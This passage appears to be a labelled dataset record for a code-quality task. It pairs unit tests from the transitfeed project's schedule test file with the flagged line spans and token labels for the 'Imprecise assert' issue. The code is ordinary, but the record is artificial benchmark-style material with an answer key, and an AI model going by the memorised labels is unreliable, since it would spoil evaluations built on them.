"\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "rate", " ", "is", " ", "'_", "+_", "str_", "(_", "error", "\\u", "rate_", ")_", "+_", "'", " ", "(%", ")'_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
google/transitfeed/tests/transitfeed/testschedule.py
[ { "content": " def testTooNear(self):\n self.SetArchiveContents(\n \"stops.txt\",\n \"stop_id,stop_name,stop_lat,stop_lon\\n\"\n \"BEATTY_AIRPORT,Airport,48.20000,140\\n\"\n \"BULLFROG,Bullfrog,48.20001,140\\n\"\n \"STAGECOACH,Stagecoach Hotel,48.20016,140\\n\")\n schedule = self.MakeLoaderAndLoad()\n e = self.accumulator.PopException('StopsTooClose')\n self.assertTrue(e.FormatProblem().find(\"1.11m apart\") != -1)\n self.accumulator.AssertNoMoreExceptions()", "metadata": "root.StopsNearEachOther.testTooNear", "header": "['class', 'StopsNearEachOther', '(', 'util', '.', 'MemoryZipTestCase', ')', ':', '___EOS___']", "index": 214 }, { "content": " def testSameLocation(self):\n self.SetArchiveContents(\n \"stops.txt\",\n \"stop_id,stop_name,stop_lat,stop_lon\\n\"\n \"BEATTY_AIRPORT,Airport,48.2,140\\n\"\n \"BULLFROG,Bullfrog,48.2,140\\n\"\n \"STAGECOACH,Stagecoach Hotel,48.20016,140\\n\")\n schedule = self.MakeLoaderAndLoad()\n e = self.accumulator.PopException('StopsTooClose')\n self.assertTrue(e.FormatProblem().find(\"0.00m apart\") != -1)\n self.accumulator.AssertNoMoreExceptions()", "metadata": "root.StopsNearEachOther.testSameLocation", "header": "['class', 'StopsNearEachOther', '(', 'util', '.', 'MemoryZipTestCase', ')', ':', '___EOS___']", "index": 237 }, { "content": " def testStationsTooNear(self):\n self.SetArchiveContents(\n \"stops.txt\",\n \"stop_id,stop_name,stop_lat,stop_lon,location_type,parent_station\\n\"\n \"BEATTY_AIRPORT,Airport,48.20000,140,,BEATTY_AIRPORT_STATION\\n\"\n \"BULLFROG,Bullfrog,48.20003,140,,BULLFROG_STATION\\n\"\n \"BEATTY_AIRPORT_STATION,Airport,48.20001,140,1,\\n\"\n \"BULLFROG_STATION,Bullfrog,48.20002,140,1,\\n\"\n \"STAGECOACH,Stagecoach Hotel,48.20016,140,,\\n\")\n schedule = self.MakeLoaderAndLoad()\n e = self.accumulator.PopException('StationsTooClose')\n self.assertTrue(e.FormatProblem().find(\"1.11m apart\") != -1)\n self.assertTrue(e.FormatProblem().find(\"BEATTY_AIRPORT_STATION\") != -1)\n self.accumulator.AssertNoMoreExceptions()", "metadata": "root.StopsNearEachOther.testStationsTooNear", "header": "['class', 'StopsNearEachOther', '(', 'util', '.', 'MemoryZipTestCase', ')', ':', '___EOS___']", "index": 249 }, { "content": " def runTest(self):\n\n schedule = transitfeed.Schedule(self.problems)\n schedule._check_duplicate_trips = True;\n\n agency = transitfeed.Agency('Demo agency', 'http://google.com',\n 'America/Los_Angeles', 'agency1')\n schedule.AddAgencyObject(agency)\n\n service = schedule.GetDefaultServicePeriod()\n service.SetDateHasService('20070101')\n\n route1 = transitfeed.Route('Route1', 'route 1', 3, 'route_1', 'agency1')\n schedule.AddRouteObject(route1)\n route2 = transitfeed.Route('Route2', 'route 2', 3, 'route_2', 'agency1')\n schedule.AddRouteObject(route2)\n\n trip1 = transitfeed.Trip()\n trip1.route_id = 'route_1'\n trip1.trip_id = 't1'\n trip1.trip_headsign = 'via Polish Hill'\n trip1.direction_id = '0'\n trip1.service_id = service.service_id\n schedule.AddTripObject(trip1)\n\n trip2 = transitfeed.Trip()\n trip2.route_id = 'route_2'\n trip2.trip_id = 't2'\n trip2.trip_headsign = 'New'\n trip2.direction_id = '0'\n trip2.service_id = service.service_id\n schedule.AddTripObject(trip2)\n\n trip3 = transitfeed.Trip()\n trip3.route_id = 'route_1'\n trip3.trip_id = 't3'\n trip3.trip_headsign = 'New Demo'\n trip3.direction_id = '0'\n trip3.service_id = service.service_id\n schedule.AddTripObject(trip3)\n\n stop1 = transitfeed.Stop(36.425288, -117.139162, \"Demo Stop 1\", \"STOP1\")\n schedule.AddStopObject(stop1)\n trip1.AddStopTime(stop1, arrival_time=\"5:11:00\", departure_time=\"5:12:00\",\n stop_sequence=0, shape_dist_traveled=0)\n trip2.AddStopTime(stop1, arrival_time=\"5:11:00\", departure_time=\"5:12:00\",\n stop_sequence=0, shape_dist_traveled=0)\n trip3.AddStopTime(stop1, arrival_time=\"6:11:00\", departure_time=\"6:12:00\",\n stop_sequence=0, shape_dist_traveled=0)\n\n stop2 = transitfeed.Stop(36.424288, -117.158142, \"Demo Stop 2\", \"STOP2\")\n schedule.AddStopObject(stop2)\n trip1.AddStopTime(stop2, arrival_time=\"5:15:00\", departure_time=\"5:16:00\",\n stop_sequence=1, shape_dist_traveled=1)\n trip2.AddStopTime(stop2, arrival_time=\"5:25:00\", departure_time=\"5:26:00\",\n stop_sequence=1, shape_dist_traveled=1)\n trip3.AddStopTime(stop2, arrival_time=\"6:15:00\", departure_time=\"6:16:00\",\n stop_sequence=1, shape_dist_traveled=1)\n\n schedule.Validate(self.problems)\n e = self.accumulator.PopException('DuplicateTrip')\n self.assertTrue(e.FormatProblem().find('t1 of route') != -1)\n self.assertTrue(e.FormatProblem().find('t2 of route') != -1)\n self.accumulator.AssertNoMoreExceptions()", "metadata": "root.DuplicateTripTestCase.runTest", "header": "['class', 'DuplicateTripTestCase', '(', 'util', '.', 'ValidationTestCase', ')', ':', '___EOS___']", "index": 389 }, { "content": " def runTest(self):\n schedule = transitfeed.Schedule(self.problems)\n\n schedule.AddAgency(\"Demo Agency\", \"http://example.com\",\n \"America/Los_Angeles\")\n route1 = schedule.AddRoute(short_name=\"route1\", long_name=\"route_1\",\n route_type=3)\n route2 = schedule.AddRoute(short_name=\"route2\", long_name=\"route_2\",\n route_type=1)\n\n service = schedule.GetDefaultServicePeriod()\n service.SetDateHasService(\"20070101\")\n\n trip1 = route1.AddTrip(schedule, \"trip1\", service, \"t1\")\n trip2 = route2.AddTrip(schedule, \"trip2\", service, \"t2\")\n\n stop1 = schedule.AddStop(36.425288, -117.133162, \"stop1\")\n stop2 = schedule.AddStop(36.424288, -117.133142, \"stop2\")\n stop3 = schedule.AddStop(36.423288, -117.134142, \"stop3\")\n\n trip1.AddStopTime(stop1, arrival_time=\"5:11:00\", departure_time=\"5:12:00\")\n trip1.AddStopTime(stop2, arrival_time=\"5:21:00\", departure_time=\"5:22:00\")\n\n trip2.AddStopTime(stop1, arrival_time=\"6:11:00\", departure_time=\"6:12:00\")\n trip2.AddStopTime(stop3, arrival_time=\"6:21:00\", departure_time=\"6:22:00\")\n\n schedule.Validate(self.problems)\n e = self.accumulator.PopException(\"StopWithMultipleRouteTypes\")\n self.assertTrue(e.FormatProblem().find(\"Stop stop1\") != -1)\n self.assertTrue(e.FormatProblem().find(\"subway (ID=1)\") != -1)\n self.assertTrue(e.FormatProblem().find(\"bus line (ID=0)\") != -1)\n self.accumulator.AssertNoMoreExceptions()", "metadata": "root.StopBelongsToBothSubwayAndBusTestCase.runTest", "header": "['class', 'StopBelongsToBothSubwayAndBusTestCase', '(', 'util', '.', 'ValidationTestCase', ')', ':', '___EOS___']", "index": 456 }, { "content": " def testExpirationDateCausedByServicePeriod(self):\n # test with no validity dates specified in feed_info.txt\n self.prepareArchiveContents(\n self.two_weeks_ago, self.two_weeks, # calendar\n self.one_week, # calendar_dates\n \"\", \"\") # feed_info\n self.MakeLoaderAndLoad(self.problems)\n e = self.accumulator.PopException(\"ExpirationDate\")\n self.assertTrue(\"calendar.txt\" in e.expiration_origin_file)\n self.accumulator.AssertNoMoreExceptions()\n # test with good validity dates specified in feed_info.txt\n self.prepareArchiveContents(\n self.two_weeks_ago, self.two_weeks, # calendar\n self.one_week, # calendar_dates\n self.two_weeks_ago, self.two_months) # feed_info\n self.MakeLoaderAndLoad(self.problems)\n self.accumulator.AssertNoMoreExceptions()", "metadata": "root.ScheduleStartAndExpirationDatesTestCase.testExpirationDateCausedByServicePeriod", "header": "['class', 'ScheduleStartAndExpirationDatesTestCase', '(', 'util', '.', 'MemoryZipTestCase', ')', ':', '___NEWLINE___', '___NL___', '# Remove \"ExpirationDate\" from the accumulator _IGNORE_TYPES to get the', '___NL___', '# expiration errors.', '___NL___', '___EOS___']", "index": 555 }, { "content": " def testFutureServiceCausedByServicePeriod(self):\n # test with no validity dates specified in feed_info.txt\n self.prepareArchiveContents(\n self.one_week, self.two_months, # calendar\n self.two_weeks, # calendar_dates\n \"\", \"\") # feed_info\n self.MakeLoaderAndLoad(self.problems)\n e = self.accumulator.PopException(\"FutureService\")\n self.assertTrue(\"calendar.txt\" in e.start_date_origin_file)\n self.accumulator.AssertNoMoreExceptions()\n # Test with good validity dates specified in feed_info.txt\n self.prepareArchiveContents(\n self.one_week, self.two_months, # calendar\n self.two_weeks, # calendar_dates\n self.two_weeks_ago, self.two_months) # feed_info\n self.MakeLoaderAndLoad(self.problems)\n self.accumulator.AssertNoMoreExceptions()", "metadata": "root.ScheduleStartAndExpirationDatesTestCase.testFutureServiceCausedByServicePeriod", "header": "['class', 'ScheduleStartAndExpirationDatesTestCase', '(', 'util', '.', 'MemoryZipTestCase', ')', ':', '___NEWLINE___', '___NL___', '# Remove \"ExpirationDate\" from the accumulator _IGNORE_TYPES to get the', '___NL___', '# expiration errors.', '___NL___', '___EOS___']", "index": 573 }, { "content": " def testExpirationDateCausedByServicePeriodDateException(self):\n # Test with no validity dates specified in feed_info.txt\n self.prepareArchiveContents(\n self.two_weeks_ago, self.one_week, # calendar\n self.two_weeks, # calendar_dates\n \"\", \"\") # feed_info\n self.MakeLoaderAndLoad(self.problems)\n e = self.accumulator.PopException(\"ExpirationDate\")\n self.assertTrue(\"calendar_dates.txt\" in e.expiration_origin_file)\n self.accumulator.AssertNoMoreExceptions()\n # Test with good validity dates specified in feed_info.txt\n self.prepareArchiveContents(\n self.two_weeks_ago, self.one_week, # calendar\n self.two_weeks, # calendar_dates\n self.two_weeks_ago, self.two_months) # feed_info\n self.MakeLoaderAndLoad(self.problems)\n self.accumulator.AssertNoMoreExceptions()", "metadata": "root.ScheduleStartAndExpirationDatesTestCase.testExpirationDateCausedByServicePeriodDateException", "header": "['class', 'ScheduleStartAndExpirationDatesTestCase', '(', 'util', '.', 'MemoryZipTestCase', ')', ':', '___NEWLINE___', '___NL___', '# Remove \"ExpirationDate\" from the accumulator _IGNORE_TYPES to get the', '___NL___', '# expiration errors.', '___NL___', '___EOS___']", "index": 591 }, { "content": " def testFutureServiceCausedByServicePeriodDateException(self):\n # Test with no validity dates specified in feed_info.txt\n self.prepareArchiveContents(\n self.two_weeks, self.two_months, # calendar\n self.one_week, # calendar_dates\n \"\", \"\") # feed_info\n self.MakeLoaderAndLoad(self.problems)\n e = self.accumulator.PopException(\"FutureService\")\n self.assertTrue(\"calendar_dates.txt\" in e.start_date_origin_file)\n self.accumulator.AssertNoMoreExceptions()\n # Test with good validity dates specified in feed_info.txt\n self.prepareArchiveContents(\n self.two_weeks, self.two_months, # calendar\n self.one_week, # calendar_dates\n self.two_weeks_ago, self.two_months) # feed_info\n self.MakeLoaderAndLoad(self.problems)\n self.accumulator.AssertNoMoreExceptions()", "metadata": "root.ScheduleStartAndExpirationDatesTestCase.testFutureServiceCausedByServicePeriodDateException", "header": "['class', 'ScheduleStartAndExpirationDatesTestCase', '(', 'util', '.', 'MemoryZipTestCase', ')', ':', '___NEWLINE___', '___NL___', '# Remove \"ExpirationDate\" from the accumulator _IGNORE_TYPES to get the', '___NL___', '# expiration errors.', '___NL___', '___EOS___']", "index": 609 }, { "content": " def testExpirationDateCausedByFeedInfo(self):\n self.prepareArchiveContents(\n self.two_weeks_ago, self.two_months, # calendar\n self.one_week, # calendar_dates\n \"\", self.two_weeks) # feed_info\n self.MakeLoaderAndLoad(self.problems)\n e = self.accumulator.PopException(\"ExpirationDate\")\n self.assertTrue(\"feed_info.txt\" in e.expiration_origin_file)\n self.accumulator.AssertNoMoreExceptions()", "metadata": "root.ScheduleStartAndExpirationDatesTestCase.testExpirationDateCausedByFeedInfo", "header": "['class', 'ScheduleStartAndExpirationDatesTestCase', '(', 'util', '.', 'MemoryZipTestCase', ')', ':', '___NEWLINE___', '___NL___', '# Remove \"ExpirationDate\" from the accumulator _IGNORE_TYPES to get the', '___NL___', '# expiration errors.', '___NL___', '___EOS___']", "index": 627 }, { "content": " def testFutureServiceCausedByFeedInfo(self):\n self.prepareArchiveContents(\n self.two_weeks_ago, self.two_months, # calendar\n self.one_week_ago, # calendar_dates\n self.one_week, self.two_months) # feed_info\n self.MakeLoaderAndLoad(self.problems)\n e = self.accumulator.PopException(\"FutureService\")\n self.assertTrue(\"feed_info.txt\" in e.start_date_origin_file)\n self.accumulator.AssertNoMoreExceptions()", "metadata": "root.ScheduleStartAndExpirationDatesTestCase.testFutureServiceCausedByFeedInfo", "header": "['class', 'ScheduleStartAndExpirationDatesTestCase', '(', 'util', '.', 'MemoryZipTestCase', ')', ':', '___NEWLINE___', '___NL___', '# Remove \"ExpirationDate\" from the accumulator _IGNORE_TYPES to get the', '___NL___', '# expiration errors.', '___NL___', '___EOS___']", "index": 637 } ]
[ { "span": "self.assertTrue(e.FormatProblem().find(\"1.11m apart\") != -1)", "start_line": 223, "start_column": 4, "end_line": 223, "end_column": 64 }, { "span": "self.assertTrue(e.FormatProblem().find(\"0.00m apart\") != -1)", "start_line": 246, "start_column": 4, "end_line": 246, "end_column": 64 }, { "span": "self.assertTrue(e.FormatProblem().find(\"1.11m apart\") != -1)", "start_line": 260, "start_column": 4, "end_line": 260, "end_column": 64 }, { "span": "self.assertTrue(e.FormatProblem().find(\"BEATTY_AIRPORT_STATION\") != -1)", "start_line": 261, "start_column": 4, "end_line": 261, "end_column": 75 }, { "span": "self.assertTrue(e.FormatProblem().find('t1 of route') != -1)", "start_line": 450, "start_column": 4, "end_line": 450, "end_column": 64 }, { "span": "self.assertTrue(e.FormatProblem().find('t2 of route') != -1)", "start_line": 451, "start_column": 4, "end_line": 451, "end_column": 64 }, { "span": "self.assertTrue(e.FormatProblem().find(\"Stop stop1\") != -1)", "start_line": 484, "start_column": 4, "end_line": 484, "end_column": 63 }, { "span": "self.assertTrue(e.FormatProblem().find(\"subway (ID=1)\") != -1)", "start_line": 485, "start_column": 4, "end_line": 485, "end_column": 66 }, { "span": "self.assertTrue(e.FormatProblem().find(\"bus line (ID=0)\") != -1)", "start_line": 486, "start_column": 4, "end_line": 486, "end_column": 68 }, { "span": "self.assertTrue(\"calendar.txt\" in e.expiration_origin_file)", "start_line": 563, "start_column": 4, "end_line": 563, "end_column": 63 }, { "span": "self.assertTrue(\"calendar.txt\" in e.start_date_origin_file)", "start_line": 581, "start_column": 4, "end_line": 581, "end_column": 63 }, { "span": "self.assertTrue(\"calendar_dates.txt\" in e.expiration_origin_file)", "start_line": 599, "start_column": 4, "end_line": 599, "end_column": 69 }, { "span": "self.assertTrue(\"calendar_dates.txt\" in e.start_date_origin_file)", "start_line": 617, "start_column": 4, "end_line": 617, "end_column": 69 }, { "span": "self.assertTrue(\"feed_info.txt\" in e.expiration_origin_file)", "start_line": 634, "start_column": 4, "end_line": 634, "end_column": 64 }, { "span": "self.assertTrue(\"feed_info.txt\" in e.start_date_origin_file)", "start_line": 644, "start_column": 4, "end_line": 644, "end_column": 64 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Stops", "Near", "Ea", "ch", "Other_", "(_", "util_", "._", "Memo", "ry", "Zip", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test", "Too", "Near", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Set", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "stop", "s", ".", "txt", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "stop", "\\u", "id", ",", "stop", "\\u", "name", ",", "stop", "\\u", "lat", ",", "stop", "\\u", "lon", "\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "BEA", "TTY", "\\u", "AIR", "PORT", ",", "Air", "port", ",", "48.", "20000", ",", "140", "\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "BUL", "LF", "RO", "G", ",", "Bul", "lf", "rog", ",", "48.", "2000", "1", ",", "140", "\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "STAGE", "COA", "CH", ",", "Stage", "coach", " ", "Hot", "el", ",", "48.", "200", "16", ",", "140", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "=_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "accumulator_", "._", "Pop", "Exception_", "(_", "'", "Stops", "Too", "Clos", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "e_", "._", "Format", "Problem_", "(_", ")_", "._", "find_", "(_", "\"", "1.1", "1", "m", " ", "apart", "\"_", ")_", "!=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Stops", "Near", "Ea", "ch", "Other_", "(_", "util_", "._", "Memo", "ry", "Zip", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Sam", "e", "Location_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Set", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "stop", "s", ".", "txt", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "stop", "\\u", "id", ",", "stop", "\\u", "name", ",", "stop", "\\u", "lat", ",", "stop", "\\u", "lon", "\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "BEA", "TTY", "\\u", "AIR", "PORT", ",", "Air", "port", ",", "48.", "2", ",", "140", "\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "BUL", "LF", "RO", "G", ",", "Bul", "lf", "rog", ",", "48.", "2", ",", "140", "\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "STAGE", "COA", "CH", ",", "Stage", "coach", " ", "Hot", "el", ",", "48.", "200", "16", ",", "140", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "=_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "accumulator_", "._", "Pop", "Exception_", "(_", "'", "Stops", "Too", "Clos", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "e_", "._", "Format", "Problem_", "(_", ")_", "._", "find_", "(_", "\"", "0.", "00", "m", " ", "apart", "\"_", ")_", "!=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Stops", "Near", "Ea", "ch", "Other_", "(_", "util_", "._", "Memo", "ry", "Zip", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Station", "s", "Too", "Near", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Set", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "stop", "s", ".", "txt", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "stop", "\\u", "id", ",", "stop", "\\u", "name", ",", "stop", "\\u", "lat", ",", "stop", "\\u", "lon", ",", "location", "\\u", "type", ",", "parent", "\\u", "station", "\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "BEA", "TTY", "\\u", "AIR", "PORT", ",", "Air", "port", ",", "48.", "20000", ",", "140", ",", ",", "BEA", "TTY", "\\u", "AIR", "PORT", "\\u", "STATI", "ON", "\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "BUL", "LF", "RO", "G", ",", "Bul", "lf", "rog", ",", "48.", "2000", "3", ",", "140", ",", ",", "BUL", "LF", "RO", "G", "\\u", "STATI", "ON", "\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "BEA", "TTY", "\\u", "AIR", "PORT", "\\u", "STATI", "ON", ",", "Air", "port", ",", "48.", "2000", "1", ",", "140", ",", "1", ",\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "BUL", "LF", "RO", "G", "\\u", "STATI", "ON", ",", "Bul", "lf", "rog", ",", "48.", "2000", "2", ",", "140", ",", "1", ",\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "STAGE", "COA", "CH", ",", "Stage", "coach", " ", "Hot", "el", ",", "48.", "200", "16", ",", "140", ",", ",\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "=_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "accumulator_", "._", "Pop", "Exception_", "(_", "'", "Station", "s", "Too", "Clos", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "e_", "._", "Format", "Problem_", "(_", ")_", "._", "find_", "(_", "\"", "1.1", "1", "m", " ", "apart", "\"_", ")_", "!=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "e_", "._", "Format", "Problem_", "(_", ")_", "._", "find_", "(_", "\"", "BEA", "TTY", "\\u", "AIR", "PORT", "\\u", "STATI", "ON", "\"_", ")_", "!=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Duplicate", "Tri", "p", "Test", "Case_", "(_", "util_", "._", "Validat", "ion", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "run", "Test_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "schedule_", "=_", "transit", "feed_", "._", "Schedule_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "._", "\\u", "check", "\\u", "duplicat", "e\\u", "trips", "_", "=_", "True_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "agency", "_", "=_", "transit", "feed_", "._", "Agency", "_", "(_", "'", "Demo", " ", "agency", "'_", ",_", "'", "http", "://", "google", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Ame", "rica", "/", "Lo", "s", "\\u", "Angel", "es", "'_", ",_", "'", "agency", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "._", "Add", "Agency", "Object_", "(_", "agency", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "service_", "=_", "schedule_", "._", "Get", "Default", "Service", "Period_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service_", "._", "Set", "Date", "Has", "Service_", "(_", "'", "2007", "0101", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "route", "1_", "=_", "transit", "feed_", "._", "Route_", "(_", "'", "Route", "1", "'_", ",_", "'", "route", " ", "1", "'_", ",_", "3_", ",_", "'", "route", "\\u", "1", "'_", ",_", "'", "agency", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "._", "Add", "Route", "Object_", "(_", "route", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "route", "2_", "=_", "transit", "feed_", "._", "Route_", "(_", "'", "Route", "2", "'_", ",_", "'", "route", " ", "2", "'_", ",_", "3_", ",_", "'", "route", "\\u", "2", "'_", ",_", "'", "agency", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "._", "Add", "Route", "Object_", "(_", "route", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "trip", "1_", "=_", "transit", "feed_", "._", "Tri", "p_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "1_", "._", "route", "\\u", "id_", "=_", "'", "route", "\\u", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "1_", "._", "trip", "\\u", "id_", "=_", "'", "t1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "1_", "._", "trip", "\\u", "head", "sign_", "=_", "'", "via", " ", "Poli", "sh", " ", "Hill", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "1_", "._", "direction", "\\u", "id_", "=_", "'", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "1_", "._", "service", "\\u", "id_", "=_", "service_", "._", "service", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "._", "Add", "Tri", "p", "Object_", "(_", "trip", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "trip", "2_", "=_", "transit", "feed_", "._", "Tri", "p_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "2_", "._", "route", "\\u", "id_", "=_", "'", "route", "\\u", "2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "2_", "._", "trip", "\\u", "id_", "=_", "'", "t2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "2_", "._", "trip", "\\u", "head", "sign_", "=_", "'", "New", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "2_", "._", "direction", "\\u", "id_", "=_", "'", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "2_", "._", "service", "\\u", "id_", "=_", "service_", "._", "service", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "._", "Add", "Tri", "p", "Object_", "(_", "trip", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "trip", "3_", "=_", "transit", "feed_", "._", "Tri", "p_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "3_", "._", "route", "\\u", "id_", "=_", "'", "route", "\\u", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "3_", "._", "trip", "\\u", "id_", "=_", "'", "t3", 